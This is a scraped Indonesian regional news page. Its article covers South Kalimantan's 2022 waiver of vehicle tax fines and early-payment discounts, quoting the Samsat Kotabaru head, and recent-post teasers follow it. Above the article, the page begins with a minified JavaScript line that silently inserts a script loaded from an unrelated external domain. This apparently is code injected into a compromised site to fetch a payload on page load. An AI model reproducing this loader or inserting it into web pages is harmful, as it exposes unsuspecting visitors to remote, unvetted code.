(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Antisipasi Penghapusan Data Registrasi, Pembebasan Denda PKB Jadi Momentum Tepat


KANALKALIMANTAN.COM, KOTABARU – Terhitung mulai Tanggal 3 Oktober – 24 Desember 2022 Pemerintah Provinsi Kalimantan Selatan berikan pengurangan dan pembebasan denda PKB dan BBNKB pajak kendaraan bermotor.

Momentum pembebasan denda administrasi kendaraan bermotor yang berlaku se Kalsel hendaknya dimanfaatkan segera oleh wajib pajak. Pasalnya, selain mendapat diskon, ini juga sebagai antisipasi agar dapat terhindar dari penghapusan data registrasi Korlantas Polri.

Kepala UPPD Samsat Kotabaru, Muhammad Fahmi Arif memberikan imbauan agar masyarakat Kotabaru agar dapat memanfaatkan program ini sebaik mungkin. Tujuannya, juga agar lebih aman dalam melakukan aktivitas berkendara.

“Program penghapusan denda administrasi ini berlaku mulai 3 Oktober hingga 24 Desember 2022, jadi manfaatkan waktu dengan sebaik-baiknya,” ujarnya, baru-baru tadi.

 

 

Baca juga: Ribuan Santri Peringati Satu Abad Ponpes Rakha Amuntai dan Hari Santri Nasional

Terkait bakal adanya penghapusan data registrasi, ia menyampaikan agar setidaknya wajib pajak dapat membayarkan pajak kendaraan tepat waktu. Bahkan, relaksasi ini juga berlaku bagi mereka yang sampai ini menunggak.

“Juga berlaku bagi kendaraan roda dua, tiga dan empat. Untuk tidak terjadi penerapan itu, silah kan datang untuk melakukan pembayaran tunggakan,” imbaunya.

Mengingat letak wilayah Kotabaru diakui sangat luas, Fahmi, menuturkan, Samsat Kotabaru sudah memiliki kantor pembantu untuk memudahkan wajib pajak menjangkau transaksi pembayaran pajak kendaraan bermotor.

“Kami memiliki tiga kantor pembantu samsat, di antaranya untuk wilayah pesisir berada di Lontar. Sedangkan Kotabaru yang berada di daratan itu bisa mendatangi Serongga dan Sengayam yang berbatasan dengan Kaltim,” pungkasnya.

Baca juga: Posko Banjir Lamandau Siaga 1×24 Jam

Sekedar diketahui, bagi wajib pajak yang taat bayar, mendapat Pengurangan apabila dibayarkan mulai:

1. 30 hari sampai saat jatuh tempo diskon sebesar 5%

2. 31-60 hari sebelum jatuh tempo diskon sebesar 7,5%

3. 61-90 hari sebelum jatuh tempo diskon sebesar 10%

Kemudian kalau untuk sanksi administrasi itu dendanya dihapus, seperti Pembebasan sanksi Administrasi Denda keterlambatan PKB dan Pembebasan Pokok serta Sanksi Administrasi Denda BBNKNB atas penyerahan kepemilikan kedua dan seterusnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

9 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

10 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

18 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.